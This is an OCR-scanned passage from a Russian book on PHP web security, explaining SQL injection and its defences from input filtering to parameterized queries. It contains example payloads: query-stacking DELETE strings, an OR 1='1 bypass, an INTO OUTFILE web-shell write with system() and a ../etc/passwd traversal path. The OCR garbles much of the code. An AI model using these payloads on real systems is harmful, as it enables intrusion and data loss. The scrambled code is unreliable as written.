и передать серверу. Сценарий, получив данные, выполнит сначала следующую 
строку: 

$id=preg_replace("/[л 0-9]/", "", $_GET['id']); 

Здесь мы заменяем в переменной $id все символы, которые не являются цифрами 
от О до 9, на пустой символ. После этого от строки, которую вы передавали серве
ру, останется только число 10, а все дополнительные символы будут удалены. 

Есть еще один вариант сообщить сценарию, что перед нами именно число, - вы
полнить приведение типов. Если вы работали с другими языками высокого уровня, 
то должны знать о таком понятии. 

Приведение типов есть и в РНР: 

<?php 
$id=(int)$_GET[id]; 
print ( 'SELECТ * FROМ Users WHERE id=' . $id) ; 

?> 

В первой строке мы делаем не совсем обычное присваивание. Переменной $id при
сваивается значение GЕТ-параметра с именем id, только в скобках перед перемен
ной указан тип данных int. Недостаток этого метода заключается в том, что если 
в параметре будет находиться не число, то сгенерируется предупреждение и в пе
ременную $id попадет О. Если у вас в базе есть важная таблица под нулевым номе
ром, то хакер ее увидит, что весьма нежелательно. 

В случае с· вырезанием с помощью регулярного выражения, результат будет лучше. 
Если в строке параметра есть числа, то после удаления букв в переменную будет 
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записано число, а если их нет, то в ней окажется пустая строка и запрос ничего не 

вернет. 

Посмотрим на еще один пример: 

if ( ( int) $ _ GET [ 'id' ] ) { 
print ( "Параметр id = " . $ _ GET [ 'id'] ) ; 

else { 
рrint("Ошибка"); 

На первый взгляд все выглядит отлично - если параметр id может быть приведен 
к числу, то используем его. Если приведение закончится ошибкой или это О, то 
отображаем сообщение об ошибке. 

Но iyr есть серьезная проблема. Если запустить скрипт: 

param.php?id=hack 

то мы увидим сообщение об ошибке, а если: 

param.php?id=l'hack 

то ошибки не будет и мы увидим на странице слово hack. Дело в том, что при при
ведении строки к числу, если строка начинается с числа, то оно будет преобразова
но, а все остальное будет отброшено. А после проверки мы используем опять 

«грязные» данные, обращаясь к $ _ GET [ 'id' J напрямую. 

Более безопасный способ - всегда приводить к числу или лучше завести числовую 
переменную, преобразовать один раз и все время использовать эту переменную: 

$id = (int)$_GET['id']; 
if ($id) { 

print ( "Параметр id = " . $id); 

else { 
рrint("Ошибка"); 

Со строками можно поступать так же. Допустим, что поиск происходит по полю 
name. Как добиться, чтобы хакер не смог ввести недопустимый символ и взломать 
базу данных? В строках могут использоваться буквы и иногда пробелы, если в поле 
может быть текст из нескольких слов. Поэтому код получения параметра от поль
зователя должен выглядеть следующим образом: 

<fonn action="dЬ2.php" rnethod="get"> 
<input name="name"> 

</fonn> 

<?php 
$name=preg_replace("/[ лa-zA-Z0-9 ]/i", "", $_GET['name']); 
print ( 'SELECT * FROМ Users WHERE name='. $name); 

?> 
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В этом примере мы заменяем пустым символом все, что не относится к буквам, 
цифрам или пробелам. Таким образом, символы двойной или одинарной ка

вычки будут запрещены, и если хакер попытается передать строку: 10 OR name= 

"Администратор", то в результате в запрос попадет только 10 OR nаmе=Администратор, 

а это уже ошибка, и такой запрос не будет выполнен. 

Если вы уверены, что поле не может содержать текст из нескольких слов, то лучше 
запретить пользователю передавать сценарию пробелы. 

Регулярное выражение "/ [ лa-zA-Z0-9 J / i" запрещает любые специальные симво

лы, но иногда они бывают необходимы. Например, в поле могут быть символы [ 

или J , и вы сочтете нужным разрешить пользователю передавать их. Да, это вполне 
безобидно для SQL-зaпpoca, но не все символы столь безопасны. 

Еще один вариант фильтровать строки - использовать методы ctype _ alpha и 

ctype_alnшn. Первая функция вернет 1, если в качестве параметра передается стро
ка, которая состоит только из букв. Если есть хотя бы один символ, который не 
является буквой, то функция вернет false. 

Вторая функция: ctype_alnшn- вернет 1, если в качестве параметра передается 
строка или число: 

if (ctype_alpha($_GET['str']) == 1) {

print("Этo Строка "); 

print('<br/><br/>'); 

if (ctype_alnшn($_GET['str']) = 1) 

print("Этo Строка или число"); 

Эrи функции очень часто могут обеспечить безопасность, особенно если говорить 
о таких параметрах, как имя и фамилия, когда не должно быть специальных сим
волов. 

Чтобы проверка происходила корректно для русского языка, нужно с помощью 
setlocale указать РНР, что мы ожидаем буквы русского языка: 

setlocale(LC_ALL, 'ru_RU') 

Приведем символы, которые никогда нельзя разрешать: 

□ одинарные и двойные кавычки - такие символы используются в запросах для
выделения;

□ знак равенства. Рассмотрим пример. Допустим, что в таблице есть два числовых

поля: id и age, и запрос на выборку данных выглядит так:

SELECT * FROM Users WHERE id=' .$id

Если хакер поместит в переменную $id строку 10 OR age=20 и при этом разреше
ны пробелы и знак равенства, то запрос к базе данных превратится в следую
щий:

SELECT * FROМ Users WHERE id=l0 OR age=20
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Если же символ равенства запрещен, то запрос будет таким: 

SELECT * FROM Users WHERE idl0 OR age20 

Это уже ошибка, и сервер базы данных не сможет выполнить запрос, а, значит, 
хакер не увидит нужных ему данных; 

□ два дефиса подряд - в языке SQL два дефиса означают комментарий, и хакер
таким образом может изменить логику запроса. Например, у вас есть запрос:

SELECT * FROM Users WHERE name=$name AND id=$id

Теперь представим, что в переменную $name хакер поместил текст:

Администратор--

В этом случае запрос изменится и станет таким:

SELECT * FROМ Users WHERE name= Администратор-- AND id=$id

Все, что находится после двух дефисов, - комментарий, поэтому сервер вы
полнит только запрос:

SELECT * FROМ Users WНERE name= Администратор

Таким образом, хакер сможет отбросить ненужные ему дополнительные провер
ки и получить больше данных, чем необходимо;

□ точка с запятой - этот символ используется для разделения запросов между
собой. Сервер может выполнять несколько действий одним запросом, и они
должны быть разделены точкой с запятой. Как это может использовать хакер?
Рассмотрим пример запроса:

SELECT. * FROM Users WHERE id=$id

Теперь представим, что хакер поместил в переменную $id текст:

l0;DELETE FROM users

Таким образом, серверу будет направлена следующая строка с запросом:

SELECT * FROM Users WНERE id=l0;DELETE FROM users

В ответ на это сервер базы данных выполнит два отдельных запроса: SELECT *

FROМ Users WНERE id=l0 и DELETE FROМ users, т. е. сначала из таблицы будут вы
браны данные, а уже потом таблица будет очищена. Некоторые программисты
считают, что если запрос сложен, то хакер не сможет вставить в него еще один
запрос. Например:

SELECT * FROM Users WHERE id=$id AND nаmе='Иван'

В этом запросе есть дополнительное условие AND name= 'иван', но его легко от
бросить, если передать в качестве переменной $id следующий текст:

l0;DELETE FROМ users--

Cepвepy будет направлен следующий запрос:

SELECT * FROM Users WHERE id=l0;DELETE FROM users-- AND nаmе='Иван'

Получается, что дополнительная проверка будет просто отброшена;
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□ символы комментариев, т. е. двойной дефис и /*. Как мы видели ранее, с помо
щью комментариев злоумышленник может отбросить ненужную часть запроса.

Комментарий с двойным дефисом мы уже обсудили, давайте рассмотрим /*.
Все, что написано между символами /* и * /, считается комментарием, но при
этом наличие закрытия комментария ( * /) не является обязательным. Посмотрим
на следующий запрос:

SELECT * FROМ Users WHERE id=l0;DELETE FROM users/* AND nаmе='Иван'

Последнее условие AND пате= ' иван' будет отброшено, потому что оно идет по
сле начала комментария/*. Несмотря на то что символов закрытия комментария
( * /) в запросе нет, сервер базы данных будет подразумевать, что закомментиро
ван весь код до конца запроса.

Если двойной дефис делает комментарием все до конца строки, то символы /*
и * / позволяют создать многострочный комментарий. Допустим, что у вас есть
запрос:

SELECT *
FROM Users
WHERE id=l0
AND nаmе='Иван'

В этом случае подразумевается, что запрос состоит из нескольких строк и у него

именно такой вид. Если хакер смог скомпрометировать значение параметра id и
вставить свой код, то запрос будет выглядеть так:

SELECT *
FROM Users
WHERE id=l0;DELETE FROM users -

AND nаmе='Иван' 

Несмотря на то что хакер внедрил символы начала комментария в конец третьей 
строки, четвертая строка не будет комментарием. Но следующий запрос позво
ляет закомментировать весь код после /* вне зависимости от начала и конца 
строк: 

SELECT * 
FROM Users 
WHERE id=l0;DELETE FROM users /* 

AND nаmе='Иван' 

Теперь последняя строка будет восприниматься сервером баз данных именно 
как комментарий. 

При разработке запросов вы можете заключать значения в одинарные кавычки или 
отказаться от их использования. Например, следующие два запроса идентичны: 

SELECT * 
FROM Таблица 
WHERE id=l 
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и 

SELECT * 
FROM Таблица 

WHERE id='l' 

Глава 3 

В первом запросе значение поля id сравнивается со значением 1, а во втором запро
се число заключено в одинарные кавычки. Кавычки являются обязательными, толь
ко если значение содержит пробел, а значит, имеет строковый тип, но я рекомен
дую использовать их всегда. Почему? Допустим, что вместо числа 1 у нас фигури
рует значение переменной, которая передается в программу пользователем. Если 
хакер передаст в качестве значения управляющие символы языка SQL, то запрос 
будет выглядеть следующим образом: 

SELECT * 
FROM Таблица 

WHERE id=' ?--%=' 

Все эти символы имеют определенный смысл, но только вне кавычек или при срав
нении с помощью оператора LIКE. В нашем случае они воспринимаются как строка 
и не могут повлиять на работу сценария. Единственное, что необходимо вырезать 
из переменной, - кавычку. Если пользователь сможет ее передать сценарию, то он 
сможет и произвести атаку SQL Injection. Например: 

SELECT * 
FROМ Таблица 

WHERE id='l' OR 1='1' 

В качестве значения переменной хакер передал строку 1' OR 1=' 1, в которой после 
числа 1 закрылась кавычка и добавлены дополнительные параметры в SQL-зaпpoc. 

Кавычку можно и не вырезать, а дублировать, и тогда она потеряет свои опасные 
свойства. Допустим, что у нас есть код: 

$query = $dЬ->prepare("SELECT * FROM users WHERE id="'.$_GET[id]. 
"' AND user_role = 1 "); 

В этом примере мы выполняем SQL-зaпpoc поиска из таблицы пользователя по 
идентификатору. Значение идентификатора передается в качестве GЕт-параметра 

с именем $id. Если хакер передаст в параметре строку вида 1' and injectcode --, 
где injectcode - это опасный код, который хакер пытается внедрить в программу, 
то SQL-инъекция пройдет успешно. 

Обратите внимание на два дефиса в конце этой строки. Они не случайны. Повторю: 
в MySQL эти два символа обозначают комментарий. С их помощью можно заком
ментировать оставшуюся часть запроса. Если взломщик не сделает этого, то ему 
придется писать внедряемый код так, чтобы весь запрос остался корректным и не 
содержал ошибок. Посмотрим, во что превратится запрос, если попытаться вне
дрить строку 1' and 1=1 без символов комментария: 

SELECT * FROM users WHERE id='l' and 1=1' AND user role 1 
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Обратите здесь внимание на третью одинарную кавычку. Она-то и нарушает струк
туру запроса. Это ошибка, и база данных не сможет обработать такую строку. 
Хорошо, что мы знаем весь запрос целиком и представляем, что можно внедрить, 
чтобы не все работало. Взломщику часто это неизвестно, и в таком случае он про
сто добавляет символы комментария в конец внедряемого кода: 

SELECT * FROM users WHERE id='l' and 1=1 -- ' AND user role = 1 

Теперь все, что находится после двух дефисов, не имеет никакого значения для 

сервера базы данных. Главное, чтобы левая часть запроса была корректна, а это так 

и есть. 

Чтобы предотвратить внедрение злонамеренного кода, нужно просто продублиро

вать все одинарные кавычки внутри параметра ict, полученного от пользователя, 
прежде чем подставлять значение в запрос. Для дублирования одинарных кавычек 

используется функция addslashes () . Мы передаем функции переменную, а на вы
ходе получаем безопасное для использования в SQL-зaпpocax значение: 

$_GET[id] = 'addslashes($_GET['id']); 

Теперь, если хакер передаст строку 1' and injectcode --, то после вызова функции 

addslashes () строка превратится в 1'' and injectcode --. В ней одинарная кавычка 

замещена двумя подряд идущими кавычками. Одна из них закрывает строку, а дру
гая открывает. Так как открытие и закрытие происходит подряд и без промежуточ

ных символов, этот вариант абсолютно безопасен для SQL-запросов, и инъекции не 
произойдет. Такой способ защиты от кавычек называется экранированием.

Допустим, что вы пишете сценарий блага, который должен сохранять в базе дан
ных комментарий посетителя: 

$query = $dЬ->prepare(" 

) ; 

INSERT INTO Ьlog_comments (record, username, commenttext) 

VALUES ( ' " . $ _ GET [ ' id' ] . " ' , ' " $ _ GET [ 'username' ] 

$_GET [ 'commenttext']. "')" 

'" 

Здесь в таблицу Ыоg_ comments вставляется запись из трех полей: идентификатора 
записи блага, которую комментируют, имени посетителя и непосредственно текста 
комментария. Если параметры не экранировать, то хакер сможет использовать эту 
ошибку для взлома, а посетители вашего блага не смогут оставить текст коммен

тария, в котором содержится одинарная кавычка, - если в тексте параметра 

commenttext будет присутствовать кавычка, то запрос нарушится и не сможет вы
полниться. 

Чтобы запрос бьm безопасным и правильно выполнялся, мы должны экранировать 
кавычки. То есть безопасным можно будет считать следующий код: 

$_GET[ 'id'] = addslashes ($_GET[ 'id']); 

$_GET['username'] = addslashes($_GET['username']); 

$ _ GET [ 'commenttext'] addslashes($_GET['commenttext']); 
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$query = $dЬ->prepare (" 

) ; 

INSERT INTO Ьlog_comments (record, username, commenttext) 

VALUES ( ' " . $ _ GET [ ' id' ] . " ' , ' " $ _ GET [ 'username' ] " ' 
$ _ GET [ 'commenttext'] . "') " 

Глава 3 

'" 

Кстати, для удаления экранирования из параметра можно использовать функцию 
stripslashes(): 

$ _ GET [ 'id' ] = stripslashes ( $ _ GET [ 'id' ] ) ; 

При использовании оператора LIКE вместо знака равенства символы подчеркивания 
и процента приобретают другой смысл. В этом случае все, что находится в кавыч
ках, является шаблоном, а в этом шаблоне подчеркивание означает любой символ, а 
знак процента - любую группу символов. Например, если вам нужны все пользо
ватели, имена которых начинаются на букву а, то можно выполнить сравнение: 

username LIКE 'а%'

Если вам нужно узнать всех пользователей, имена которых состоят из любых трех 
букв, то можно выполнить такой запрос: 

username LIКE ' 

Подчеркивание заменяет один любой символ, а мы указали три символа подчерки
вания - значит, нам вернут все имена, состоящие из трех букв. 

Чем это грозит? Допустим, что при авторизации вы ищете в базе данных пользова
теля с помощью запроса: 

SELECT * 
FROМ users 
WHERE user ncЩte LIКE '$_GET[username]' 

AND user_pass LIКE '$_GET[password]' 

Все прекрасно, если вы вырезаете из параметров username и password символы под
черкивания и процента (хотя зачем тогда использовать LIКE?). В этом случае запрос 
можно считать безопасным. Если нет, то хакер может передать в качестве обоих 
параметров символ процента, что будет соответствовать абсолютно любому имени 
и абсолютно любому паролю. В этом случае запрос вернет абсолютно все записи из 
таблицы. Я подозреваю, что логика программы будет такой: 

$query = $dЬ->prepare("SELECТ * FROМ users 
WHERE user_name LIКE '$_GET[username]' 
AND user_pass LIКE '$_GET[password]' "); 

if ( ($line = $query->fetch(PDO: :FETCH_ASSOC)) != FALSE) { 
// пользователь найден 

} 

Здесь выполняется запрос на поиск пользователя в базе данных. После этого дела
ется попытка прочитать запись с помощью функции fetch () . Если чтение прошло 
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удачно, значит, запись есть в результирующем наборе после выполнения запроса. 

Следовательно, пользователь с таким именем и паролем существует. 

В реальности вы должны отказаться от LIКE в подобных случаях. Используйте его 
только там, где реально необходима поддержка шаблонов, а во всех остальных слу
чаях сравнивайте строки простым символом равенства. 

Еще один вариант проверки - после выполнения запроса проверить количество 
возвращенных записей: 

if ($query->rowCount( > 0) 

( 
// пользователь существует 

Если пользователь не найден (запрос вернул ноль записей), то функция rowcount () 
вернет ноль. Мы проверяем, чтобы результат был больше нуля. Такую проверку я
встречал достаточно часто, хотя в ней особого смысла нет. В таблице должен быть 
только один пользователь с указанным именем и паролем. Дублирование исключе
но! Так что вполне достаточно будет делать проверку на равенство единице: 

if ($query->rowCount() == О) 

( 
// пользователь существует 

В любом случае даже проверка на равенство единице не решает проблему, а про
верка со знаком «больше» просто недопустима. Если пользователь ввел знак про
цента в имя и пароль, то запрос вернет ему абсолютно все записи. Результат боль
ше нуля, а значит, первые два варианта проверки пройдут успешно, и взломщик 
зарегистрируется в системе под именем первого пользователя в возвращенном на
боре данных. 

А если взломщика не устраивают полученные права? Зная имя пользователя, права 
которого ему нужны, взломщик передаст в параметре username это имя, а в качестве 
пароля - звездочку, и окажется в системе с нужными правами. 

Никогда не используйте сравнение LIКE без особой надобности. Этот оператор 
сравнения можно применять только в тех случаях, когда вы уверены, что шаблоны 
нужны. 

Хотя шаблоны не имеют прямого отношения к инъекции, они тоже используются 
взломщиками в запросах, поэтому мы и рассмотрели такую уязвимость в этом раз
деле. 

З. 8. З. Реальное экранирование 

Функция addslashes () работает прекрасно, пока вы не используете кодировку UTF-8 
совместно с базой данных MySQL. С этой кодировкой рекомендуется применять 
более безопасную функцию mysql _ real _ escape _ string (). Впрочем, в Интернете я

встречал различные мнения по поводу безопасности каждого из этих вариантов. 
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Функция rnysql_real_escape_string () вызывает одноименную функцию из библио
теки rnysql и гарантирует, что все опасные для базы данных символы будут обез
врежены. Она написана разработчиками базы данных, и, по идее, они лучше всех 
должны знать, что безопаснее для их анализатора SQL-запросов. С другой стороны, 
разработчики РНР - также специалисты своего дела, и их метод борьбы с опасны
ми символами с помощью функции addslashes () тоже достаточно эффективен. 

Единственный недостаток функции rnysql _ real _ escape _ string () в том, что при ее 
вызове обязательно должно быть хотя бы одно открытое соединение с базой дан
ных. Если соединения нет, то выполнение функции станет невозможным. 

При вызове rnysql _ real _ escape _ string () нужно указать два параметра: переменную 
со строкой, содержимое которой нужно обезвредить, и переменную с подключени
ем к MySQL. Если второй параметр не указать, то для вызова функции будет ис
пользоваться последнее соединение с базой, созданное с помощью rnysql _ connect.

3. 8. 4. 11 араметриэированные запросы

Возможно, у вас уже создалось впечатление, что защищаться от SQL Injection в ре
альности очень сложно и любая ошибка может привести к взлому. Но это впечат
ление ошибочно. Тут, как в большинстве шуток, начинают с «у меня есть для вас 
две новости: хорошая и плохая». Вот я без предупреждения и начал с плохой ново
сти. А теперь переходим к хорошей. 

Защититься от SQL Injection очень просто, если использовать параметризирован
ные запросы. Забываем про addslashes и используем ее только в самых крайних 
случаях, когда другого выхода просто нет. Я познакомил вас с ней, чтобы показать 
всю опасность SQL Injection - т. е. только в целях обучения и понимания, как 
работает атака. 

При написании уже рабочего кода используем параметры и только параметры. 
Дальше я вам покажу работу с параметризированными запросами на примере двух 
классов, которые я написал для иллюстрации параметризированных запросов. Эти 
два вспомогательных класса: coatabase и CQuery- упрощают подключение к базе 
данных и получение данных, и я использую их в небольших проектах. Здесь я ре
шил поделиться с вами этими классами, потому что они интересны с точки зрения 
обучения, и мы заодно увидим, как можно использовать безопасный доступ к дан
ным. 

Начнем с класса coatabase, который создает подключения к базе данных (лис
тинг 3.1). 

Листинг 3.1. Кlla�c, отвечающий за nодкlJ�чение к 6Qe' .ца ..... , ,

class CDatabase { 

static $connections array(); 
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puЬlic static function ConnectToDB($pfx) 

?> 

$с:IЬ narne = "test"; 

$c:IЬ_login = "test"; 

$c:IЬ_pass = "PlsrT59k0*&6%e3"; 

$c:1Ьhost = "127.0.0.1"; 

if (in_array($pfx, CDatabase::$connections)) 

return CDatabase::$connections[$pfx]; } 

try { 

CDatabase: :$connections[$pfx] 

new PDO( 'mysql:host=' . $c:1Ьhost . ';c!Ьnarne= ' . $c:IЬ_narne. '', 

$c:IЬ_login, $c:IЬ_pass, 

array(PDO: !MYSQL_ATTR_INIT_COММAND => 'SET NAМES utf8')); 

catch(PDOException $е) { 

print($e->getMessage()); 

return CDatabase::$connections[$pfx]; 
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Чтобы листинг класса поместился в книге, я его немного упростил, но в коде вы 

еще можете увидеть такую переменную, как $pfx, которая в моем полном классе 
позволяет открывать сразу несколько подключений к различным базам данных из 
одного сценария. Это мне необходимо было для распределения нагрузки. В этом 

листинге переменная $pfx должна быть заранее определенной константой, которая 
ни на что не влияет. 

С помощью префиксов можно реализовать доступ к нескольким базам на одном 
и том же сервере, например, так: 

$c:IЬ_narne = "test" . $pfx; 

Теперь имя базы данных будет состоять из имени test плюс то, что передано в пе

ременной $sql. 

Но это было просто так, лирическое отступление. 

Итак, у меня в классе есть статический метод connectToDB. Его задача - создать 

соединение и вернуть его. Внутри метода для наглядности объявляются перемен
ные с параметрами доступа к базе данных и происходит создание нового экземпля
ра класса PDO: 

new РDО(параметры доступа к базе); 

Созданный экземпляр сохраняется в массиве $connections, и при последующих 
попытках открыть соединение с таким же префиксом используется уже сущест
вующий экземпляр. 
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Снова лирическое отступление: почему я создал целый класс только ради одной 
переменной и одного статического метода? Неужели нельзя было просто создать 
файл кода и без всяких классов объявить переменную и метод? 

Можно. Возможно все, но такой подход далеко не самый красивый. Просто ради 
наглядности в этой книге рассмотрено много файлов, в которых код располагается 

рядом с НТМL-текстом и без использования объектного программирования, а в ре
альных. проектах лучше использовать объекты. 

В нашем же случае рассматривается код управления соединением с базой данных, 
и для него вполне логично (на мой взгляд) создать какой-то класс, в котором и бу
дет находиться наш код открытия соединения и управления уже существующими. 

Для работы с запросами у меня есть другой класс- CQuery (листинг 3.2). 

j Листинг 3.2. Кпасс для доступа к данным 

<? 
<?php 
class CQuery { 

private $query; 
private $line = 

private $row; 
private $lines 

О; 

= array(); 

puЫic function _construct($sql, $params) { 
$this->query = CDatabase: :ConnectToDB('test')->prepare($sql); 

foreach ($params as $key => $value) { 
$this->query->ЬindValue(":" . $key, $value); 

$this->query->execute(); 
$this->line = О; 

puЬlic function fetchLines() 
while ( ($line = $this->fetch ()) != FALSE) 

$this->lines[$this->line] = $line; 
$this->line++; 

return $this->lines; 

puЬlic function fetch() { 
$this->line += 1; 
return $this->query->fetch(PDO: :FETCH_ASSOC); 
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?> 

puЫic function getvalue($colurnnname, $defaultvalue) { 

if ($this->line == О) 

{ $this->row = $this->fetch(); } 

if ($this->row == FALSE 11 $this->row[$colurnnname] == NULL) 

{ return $defaultvalue; } 

return $this->row[$colurnnname]; 

puЫic function fetchvalue($colurnnname, $defaultvalue) 

$this->row = $this->fetch(); 

return $this->getvalue($colurnnname, $defaultvalue); 

puЬlic function rowCount() { 

return $this->query->rowCount(); 

puЬlic function lastld() { 

return CDatabase::$pdo->lastinsertid(); 

puЬlic static function FetchTaЬleRow($sql, $params, $pfx) { 

$query = new CQuery($sql, $params, $pfx); 

return $query->fetch(); 

puЬlic static function FetchTaЬleValue($sql, $params, 

$colurnn, $default, $pfx) { 

$query = new CQuery($sql, $params, $pfx); 

return $query->fetchvalue($colurnn, $default); 
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Эrот класс я набросал очень давно для небольшого проекта. Класс не самый эффек
тивный, но невероятно простой, и мне удобно его использовать до сих пор для 
небольших проектов. 

Посмотрим, что тут происходит. У конструктора _ construct есть два параметра: 
строка с SQL-запросом и переменная-массив с параметрами для SQL-зaпpoca. Все, 
что передается пользователем и на что может повлиять пользователь, должно пере
даваться в качестве параметров. За окном у меня Торонто и 2022 год, а в наше вре
мя чистить переменные уже не положено. Программисты любят критиковать и

троллить, и если вы не пользуетесь параметрами, то за это точно можно получить 
вагон критики. И, честно говоря, она будет заслуженной. 

Параметры в SQL - это как параметры у функций в вашем коде. Рассмотрим при
мер SQL-зaпpoca: 
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$query = new CQuery('select * from Picture where cwPictureID 
array ( 'id' => $ _ GET [ 'id'] ) ) ; 

$picture = $query->fetch(); 

Глава З 

:id', 

В первой строке создается мой класс cQuery, которому в качестве первого парамет
ра передается строка запроса. В этом запросе : id - это SQL-параметр. Если запус
тить сам запрос, то он завершится ошибкой, потому что : id не существует, у него 
нет значения. 

Значение передается классу через массив во втором параметре 'id' => $ _ GET [ 'id' J. 
Здесь мы говорим, что : id в реальности будет равняться значению id, которое 
пользователь передаст в строке URL. 

Когда объект создан, получить данные можно вызовом метода fetch () . Если запрос 
должен возвращать больше одной строки, то пройтись по набору строк можно сле
дующим способом: 

while ( ( $picture = $query->fetch () ) ! = FALSE) { 

} 

// напечатать значение колонки Filename из результата запроса 
print($picture['Filename']); 

Код в фигурных скобках будет выполняться, пока метод fetch () моего класса воз
вращает хотя бы одну новую строку. Если мы достигли конца выборки, то метод 
вернет FALSE. 

Класс CQuery сильно упростил работу с запросом - все свелось к выполнению все
го двух строк, хотя этот код можно записать даже в одну строку. Но самое интерес
ное скрыто в конструкторе этого класса: 

$this->query = CDatabase::ConnectToDB('test')->prepare($sql); 

foreach ($params as $key => $value) { 
$this->query->ЬindValue(":" . $key, $value); 

$this->query->execute(); 

В первой строке вызывается метод ConnectToDB () класса базы данных, и этот метод 
вернет нам готовое соединение. Тут же я вызываю метод prepare (), который дол
жен подготовить запрос из переменной $sql к выполнению. 

Первая строка немного перегружена и, наверно, плохо читается, но я писал ее для 
себя, а не для книги. Эту строку можно разбить на две, чтобы они читались проще, 
а результат работы будет тот же: 

$connection = CDatabase::ConnectToDB('test'); 
$this->query = $connection->prepare($sql); 

Мне кажется, так легче понять код. 

После подготовки запроса нужно привязать к нему значения всех переменных. 
И это происходит в цикле, расположенном в коде чуть ниже. Чтобы привязать зна-
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чение к переменной, надо вызвать метод ЬindValue (), которому в качестве первого 
параметра передается имя переменной с двоеточием, а второй параметр - само 
значение. 

Для выполнения готового запроса с параметрами просто вызываем метод execute () .

Я не призываю вас использовать именно мои классы. Я их написал для себя, для 
упрощения своей жизни. В Интернете доступно большое количество более мощных 
библиотек для работы со SQL. В больших проектах я предпочитаю использовать 
библиотеку Doctrine, и вот ее, наверно, я могу порекомендовать. 

Самый главный смысл этих примеров - убедить вас в необходимости использо
вать параметры и показать, как это можно делать на чистом SQL без дополнитель
ных библиотек. 

З. 8 � 5. Работа с срайлами 

Через SQL-запросы хакеры могут получить доступ к файловой системе. Например, 
следующий код сохраняет в РНР-файле сценарий: 

SELECT '<?php sуstеm('параметры') ?>' INTO OUTFILE 'shell.php' 

Так хакер может создавать на сервере сценарии со своим кодом со всеми вытекаю
щими последствиями. Если файлы сценариев доступны для записи всем пользова
телям, то хакер может перезаписать существующий файл, а это уже чревато дефей
сом: 

SELECT '<B>You hacked</B>' INTO OUTFILE 'index.php' 

Хакеры очень часто используют SQL-команду INTO ouтFILE для создания дампа 
таблиц базы данных. Например, взломщик получил доступ к выполнению команд 
и, сохраняя результат своих запросов в текстовом файле, может потом без проблем 
скачать этот файл для разбора в свободное время за чашечкой кофе. 

З. 8. 6. Практика работы с базами данных 

Обращайте внимание на все переменные и параметры, которые используются при 
формировании запроса. Даже если вы думаете, что пользователь не может повлиять 
на содержимое переменных, необходимо производить все проверки, а лучше 
использовать параметризированные запросы. Сегодня переменная задается стати
чески в сценарии, а завтра для удобства пользователя она может задаваться через 
строку URL. Вы можете изменить источник формирования переменной и забыть 
добавить проверку, что приведет к печальным последствиям. 

Бывает так, что, разрабатывая сайт, программисты сохраняют в таблице базы дан
ных содержимое основной части веб-страниц. Структура таблицы может быть 
любой, но смысл почти всегда один - ключ и поля, которые содержат данные, 
отображаемые на странице. Строка URL для таких сайтов выглядит следующим 
образом: 

http://www.sitename.com/index. php ?id= N 
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Через строку URL передается параметр id, которому присваивается числовое зна

чение. Имя параметра может быть другим (чаще я встречаю именно id), но смысл 
этого параметра - идентификатор строки в таблице, данные которой нужно ото

бразить на странице. 

Любой хакер, когда он заходит на веб-сайт и видит в строке URL параметр id, пер

вым делом пытается подставить в него служебные символы SQL, которые мы рас
сматривали ранее. Если сценарий не фильтрует параметризированные запросы, 

и при этом на странице отображается ошибочный SQL-зaпpoc, то хакер может 
определить: 

□ используемые на сайте запросы;

□ приблизительную структуру таблицы и базы данных.

Дальнейшие действия - попытаться с помощью служебных символов модифици
ровать SQL-зaпpoc таким образом, чтобы получить большие права, увидеть закры

тую область сайта и уничтожить или подменить данные. 

3.8. 7. Тlроверка URL 

Однажды я видел, казалось бы, достаточно хорошее решение с точки зрения безо
пасности. Программист небольшого сайта создал базу данных всех возможных 
URL-aдpecoв, и перед загрузкой какой-либо страницы происходила проверка нали

чия ее адреса в базе данных. Если URL в базе присутствовал, то загрузка разреша
лась, а если нет, то выполнение сценария прерывалось. Вроде бы все идеально, ведь 
хакер не может набрать URL, которого нет в базе. Но ничего идеального не бывает. 

Для проверки допустимости URL выполняется примерно следующий запрос: 

SELECT * 
FROM Таблица 
WHERE ValidURL=$url 

Проблема заключается в том, что для проверки производится запрос к базе данных, 
а значит, хакер может передать такой URL, который способен нарушить проверку, 
если нет хорошей фильтрации, ведь этот запрос не использует параметров. Так что 
даже при использовании этого варианта защиты необходимо проверять перемен

ную $url (которая должна содержать текущий URL). 

Единственный случай, когда можно использовать подобную защиту, и она будет 
действительно эффективной, - это простой сайт, где через URL передается только 

одна переменная id, которой присваивается числовое значение. В этом случае 

переменную $url достаточно просто проверить по шаблону: 

"http://www.sitename.com/index.php?id=[0-9] {1, }" 

Сначала переменная проверяется на соответствие этому шаблону, и если все нор
мально, то только после этого происходит проверка по базе данных. 

Такой вариант защиты будет работать лишь для простых сценариев, когда через 

URL передается не более двух параметров, и эти параметры легко описать с по-
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мощью шаблона. Если параметры слишком сложные, то даже создать такую базу 
будет проблематично и бессмысленно, хотя бы из-за ее размера. 

В любом случае даже для маленького сайта я считаю такой метод защиты совер
шенно бессмысленным. 

3. 9. Работа с срайлами
Теперь обсудим, что необходимо фильтровать при работе с файлами. Чтобы проще 
было понимать проблему, вспомните пример, который мы рассматривали в 
разд. 3. 4.1. Мне удалось взломать сайт именно благодаря неправильному обраще
нию с параметрами, используемыми в файловой системе. Функции работы с фай
ловой системой мы уже видели в разд. 2.14, а сейчас остановимся на безопасности. 

Старайтесь обращаться к файлам только в текущем каталоге. Если необходим дру
гой каталог, то не формируйте путь на основе параметров, на которые может воз
действовать пользователь. Это позволит при указании пути обойтись без опасных 
символов, таких как двойная точка или слеш. В ОС Windows опасны как прямой, 
так и обратный слеш, потому что в этой операционной системе при указании пути 
используются оба символа. При необходимости обратиться к файлам не из текуще
го каталога без слешей обойтись не удастся, но если указывать полный путь от 
корня, мы можем избежать использования двойной точки, даже если путь к файлу 
формируется на основе пользовательских данных. 

Исходя из приведенной рекомендации, необходимо фильтровать двойную точку и 
слеш (обратный слеш), чтобы хакер не смог указать относительный путь к систем
ным каталогам. Если посмотреть историю бюллетеней безопасности, то вы увиди
те много сообщений, в которых хакер смог благодаря ошибке использовать путь 
типа . ./ . ./..1../ . ./etc/passwd и просмотреть список пользователей системы. 

Следите за правами доступа к файлам. Для записи всем посетителям должны быть 
доступны только действительно необходимые файлы, а файлы сценариев к таковым 
не относятся. 

К сожалению, в случае с файлами нет параметризированных функций для работы 
с ними.

И все же я не рекомендую использовать обращения к файловой системе, где на 
путь может повлиять посетитель. Постарайтесь найти другое решение проблемы, 
а лучше используйте базу данных. Базы данных - самое современное и универ
сальное решение. Работать с файлами приходится достаточно часто, и случаев, 
когда· на имена файлов может повлиять посетитель, не должно быть. 

Когда невозможно найти иное решение, чем позволить посетителю влиять на файл 
и путь, необходимо быть предельно внимательным. Например, на форумах очень 
